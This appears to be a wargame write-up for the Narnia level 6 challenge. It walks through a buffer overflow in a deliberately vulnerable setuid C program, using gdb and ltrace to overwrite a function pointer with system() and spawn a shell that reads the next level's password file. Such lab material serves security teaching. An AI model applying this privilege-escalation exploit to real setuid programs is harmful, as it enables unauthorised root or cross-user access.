1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #include <stdio.h> #include <stdlib.h> #include <string.h> extern char **environ; // tired of fixing values... // - morla unsigned long get_sp(void) { __asm__("movl %esp,%eax\n\t" "and $0xff000000, %eax" ); } int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } /* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); //if(((unsigned long)fp & 0xff000000) == 0xff000000) if(((unsigned long)fp & 0xff000000) == get_sp()) exit(-1); setreuid(geteuid(),geteuid()); fp(b1); exit(1); } |
The executable use the stack to allocate:
- 8 bytes buffer "b1"
- 8 bytes buffer "b2"
- a pointer "fp" to the function puts() that write b1 to the stdout
Just before exiting, the executable calls puts() using the pointer fp with b1 as parameter
Using parameters longer than 8 bytes we can overwrite the function pointer fp and
change the flow of execution.
But there is a protection code at line 31: it checks that the pointer
doesn't beging with 0xff.
If it begins with 0xff it exits immediately without executing the funciton pointed by fp.
Let's try to play with command line parameters in gdb.
Let's disassemble, put a break just before the fp(b1), set an input composed by 7x"A" and 8x "B" , run and look at the stack when the debugger break:
narnia6@narnia:~$ gdb /narnia/narnia6 ..... Reading symbols from /narnia/narnia6...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: ... 0x080486d8 <+304>: call 0x8048450 <setreuid@plt> 0x080486dd <+309>: add $0x8,%esp 0x080486e0 <+312>: lea -0x14(%ebp),%eax 0x080486e3 <+315>: push %eax 0x080486e4 <+316>: mov -0xc(%ebp),%eax 0x080486e7 <+319>: call *%eax 0x080486e9 <+321>: add $0x4,%esp 0x080486ec <+324>: push $0x1 0x080486ee <+326>: call 0x8048440 <exit@plt> End of assembler dump. (gdb) set args "AAAAAAA" "BBBBBBBB" (gdb) break *0x080486e7 Breakpoint 1 at 0x80486e7 (gdb) r Starting program: /narnia/narnia6 "AAAAAAA" "BBBBBBBB" Breakpoint 1, 0x080486e7 in main () (gdb) info registers eax 0x8048430 134513712 ecx 0x36b6 14006 edx 0x0 0 ebx 0x36b6 14006 esp 0xffffd6a8 0xffffd6a8 ebp 0xffffd6c8 0xffffd6c8 esi 0x3 3 edi 0xf7fc5000 -134459392 eip 0x80486e7 0x80486e7 <main+319> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/10w 0xffffd6a8 0xffffd6a8: 0xffffd6b4 0x42424242 0x42424242 0x41414100 0xffffd6b8: 0x00414141 0x08048430 0x00000003 0x00000000 0xffffd6c8: 0x00000000 0xf7e2a286 (gdb) x/wx 0x08048430 0x8048430 <puts@plt>: 0x99c825ff
The flow pause just before calling fp(b1), which is the line "0x080486e7 <+319>: call *%eax"
The register eax contains address 0x08048430.
This memory location contains the PLT entry of puts
Furthermore this address is on the stack just after b1 buffer (the 0x41 sequence)
Let's try to use a longer command parameter like: "AAAAAAAACCCC" "BBBBBBBB"
(gdb) set args "AAAAAAAACCCC" "BBBBBBBB" (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB" Breakpoint 1, 0x080486e7 in main () (gdb) info registers eax 0x43434343 1128481603 ecx 0x36b6 14006 edx 0x0 0 ebx 0x36b6 14006 esp 0xffffd6a8 0xffffd6a8 ebp 0xffffd6c8 0xffffd6c8 esi 0x3 3 edi 0xf7fc5000 -134459392 eip 0x80486e7 0x80486e7 <main+319> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) stepi 0x43434343 in ?? ()
So the execution flow is redirected to 0x43434343 (i.e. Hexcode of "CCCC")
Next step is to find some function that can be helpful to execute something instead of printing like puts().
Let's say we want to use system().. Then search for it in memory:
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB" Breakpoint 1, 0x080486e7 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xf7e4c850 <system>
The address of system is 0xf7e4c850. Let's reverse it (Intel is little-endian) and use it.
This time with ltrace:
narnia6@narnia:~$ ltrace /narnia/narnia6 $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB" ... geteuid() = 14006 geteuid() = 14006 setreuid(14006, 14006) = 0 --- SIGCHLD (Child exited) ---
Nothing happens, quite disappointing...
But let's retry increasing the lenght of the second parameter adding a "C"
narnia6@narnia:~$ ltrace /narnia/narnia6 $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBBC" setreuid(14006, 14006) = 0 sh: 1: C: not found --- SIGCHLD (Child exited) --- OK... now it's tryng to execute a file "C"
It works and execute the file C!
So now replace "C" with "/bin/sh"
narnia6@narnia:~$ /narnia/narnia6 $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB/bin/sh" $ id uid=14007(narnia7) gid=14006(narnia6) groups=14006(narnia6) $ cat /etc/narnia_pass/narnia7 a*******u
$
This tecnique is still a buffer overflow but showed that there are other areas of memory for exploiting, not only stack.
Two of them are named GOT (Global offset table) and PLT (procedure Linkage Table) and can be used in some scenarios.